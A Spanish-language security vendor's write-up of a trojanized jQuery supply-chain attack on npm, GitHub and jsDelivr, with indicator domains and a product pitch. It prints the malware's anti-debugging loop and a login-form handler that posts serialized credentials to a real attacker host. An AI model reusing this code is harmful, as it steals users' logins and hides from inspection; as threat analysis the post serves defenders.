Resumen: ataque de jQuery troyanizado en CDN
- Una CDN de confianza corrompida: Todo el mundo sigue confiando en una CDN de jQuery porque siempre funcionó, pero la copia troyanizada en jsDelivr cambió un solo método del prototipo y exfiltró en silencio todos los datos de formularios de la página con una petición GET asíncrona vía $.ajax.
- cside ve el cambio: La copia maliciosa recibía aproximadamente 37,000 hits al mes en npm, GitHub y jsDelivr. El agente JavaScript de origen de cside observa el comportamiento en tiempo de ejecución de cada script en el navegador y detecta un cambio de payload antes de que el código troyanizado llegue a ejecutarse en la sesión de un usuario real.
- SRI no basta: Si tu única defensa es SRI en el puñado de scripts que te acordaste de anclar, un cambio de cuenta de mantenedor o un mirror de CDN actualizado sigue entregando código de atacante directamente a cada visitante que carga tu checkout.
¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.
Se han encontrado ataques en jQuery troyanizado en GitHub, npm y jsDelivr en un nuevo ataque a la cadena de suministro web. Cada paquete tenía una copia de jQuery con un pequeño cambio: la función "end". Esta forma parte del prototipo de jQuery, y fue modificada para incluir código malicioso adicional.
En el script malicioso, el atacante envía una solicitud GET no bloqueante usando '$.ajax' a otros dominios. La URL de la solicitud incluye un parámetro de consulta que varía entre los diferentes paquetes. Como resultado, cada vez que se invoca la función end, se exfiltran todos los datos del formulario de la página.
Esto se descubrió primero en npm, y luego también en múltiples repositorios de GitHub, así como en un recurso alojado en la CDN de jsDelivr.
En nuestra campaña titulada el riesgo de la cadena de suministro no termina en npm, destacamos que el método de entrega de un script como este permite un comportamiento dinámico. Esto hace que verificar las fuentes o confiar únicamente en métodos de entrega seguros y fiables sea un juego arriesgado, como ilustra este ataque. Esto a menudo engaña a los firewalls y permite que el código malicioso se cuele, y los atacantes lo saben bien.
Lo que encontramos
Extrajimos el código malicioso de la CDN oficial de jsDelivr, que recibe 37,000 hits al mes. Todos ellos incluyen los scripts alterados y son inseguros.

Esta es parte del código malicioso que encontramos y lo que hace:

Esta parte del script serializa los datos del formulario, los convierte en una cadena hexadecimal y los envía a un servidor remoto usando una solicitud GET, exponiendo potencialmente información sensible del usuario sin su consentimiento. El uso de $.ajax con una función asíncrona hace que esta transferencia de datos sea sigilosa, lo que sugiere una intención maliciosa de recopilar datos en silencio.
1. Mecanismo antidepuración:
- Función de intervalo: Una función '_0x38c4a6' se ejecuta cada 4 segundos mediante 'setInterval'. Esta función busca detectar e interrumpir los intentos de depuración aprovechando la sentencia 'debugger' de JavaScript.
- Función anidada: Dentro de '_0x38c4a6', la función anidada '_0x386016' contiene lógica para llamar repetidamente a 'debugger' según ciertas condiciones, lo que dificulta depurar el código con herramientas estándar.
(function () {
setInterval(function () {
function antiDebugging(_0x44dcc7) {
if (typeof _0x44dcc7 === "string") {
return function () {}.constructor("while (true) {}").apply("counter");
} else {
if (('' + _0x44dcc7 / _0x44dcc7).length !== 1 || _0x44dcc7 % 20 === 0) {
(function () {
return true;
}).constructor("debugger").call("action");
} else {
(function () {
return false;
}).constructor("debugger").apply("stateObject");
}
}
antiDebugging(++_0x44dcc7);
}
try {
antiDebugging(0);
} catch (e) {}
}, 4000);
})();
2. Manejador de envío de formulario:
- Selección del formulario: El script selecciona el formulario con la clase '.login-form'.
- Evento submit: Se adjunta un listener al evento submit del formulario.
- Solicitud AJAX: Al enviarse el formulario, se envía una solicitud POST AJAX a 'https://koneksi.barux.my[.]id/index.php' con los datos del formulario serializados.
$(".login-form").submit(function () {
var form = $(".login-form");
$.ajax({
url: "https://koneksi.barux.my.id/index.php",
type: "POST",
data: form.serialize(),
success: function () {
return true;
},
error: function () {
return true;
}
});
});
En conjunto, esto sugiere que el script podría usarse para evitar manipulaciones o inspecciones (mediante la lógica antidepuración) mientras envía en silencio datos de un formulario a un servidor remoto. Estos datos pueden ser credenciales de usuario u otra información.
Como es habitual en este tipo de ataques, es difícil saber cuánta gente ha sido víctima. El método de entrega de estos scripts permite un comportamiento dinámico. Cualquier usuario puede recibir una entrega distinta cada vez, especialmente cuando un script ha sido comprometido. Así que puede ser completamente aleatorio, o estar altamente dirigido y configurado de esta forma para pasar desapercibido durante mucho tiempo.
En una investigación publicada por Phylum, sabemos que en este ataque se usaron los siguientes dominios:
- https://paneljs[.]hanznesia[.]my[.]id
- https://api-web-vrip[.]hanznesia[.]my[.]id
- https://log[.]api-system[.]engineer
- https://irisainginbos[.]icikipoxx[.]pw
- https://patipride[.]icikipoxx[.]pw
- https://apii[.]fukaes[.]ninja
- https://pukil[.]dannew[.]biz[.]id
- https://api[.]jstyy[.]xyz
- https://qxue[.]biz[.]id
- https://api[.]newrxl[.]online
- https://api[.]iimg[.]my[.]id
- https://apiweb[.]eventtss[.]my[.]id
- https://pokemon[.]denii[.]biz[.]id
- https://apii[.]codatuys[.]cab
- https://api[.]codatuys[.]biz[.]id
- https://saystem[.]ditzzultimate[.]xyz
- https://paneljs[.]dimashost[.]xyz
- https://cssimage[.]dimashost[.]xyz
- https://ajax[.]failexpect[.]biz[.]id
- https://ns[.]api-system[.]engineer
- https://log[.]systems-alexhost[.]xyz
- https://api-system[.]engineer
- https://systems-alexhost[.]xyz
- https://panel[.]api-bo[.]my[.]id
- https://project[.]systemgoods[.]me
- https://danu[.]eventtss[.]my[.]id
- https://panel-host[.]clannesia[.]com
- http://apii-pandawara[.]ganznesia[.]my[.]id
- https://system-alexhosting[.]biz[.]id
- https://nd[.]api-system[.]engineer
- https://anti-spam[.]truex[.]biz[.]id
- https://panel-host[.]dmdpanel[.]my[.]id
- https://api-bo[.]my[.]id
- https://pusat-js[.]truex[.]biz[.]id
Qué puedes hacer
El momento para las medidas preventivas ya pasó. Revisa de inmediato tu código en busca de referencias a los repositorios y dominios afectados. Si los encuentras, elimínalos.
Ataques como este solían ser imposibles de detectar, ya que los desarrolladores que dependen de fuentes de terceros no siempre están al tanto de los cambios en los scripts mismos. Los métodos de detección antiguos no contemplan estos cambios, así que no pueden distinguirlos.
Con el nivel gratuito de cside, recibes una alerta cuando se produce un cambio dentro del propio script. Bloqueamos de forma autónoma cualquier cosa maliciosa, y obtienes una visión completa de los scripts desofuscados para entender qué están sirviendo.









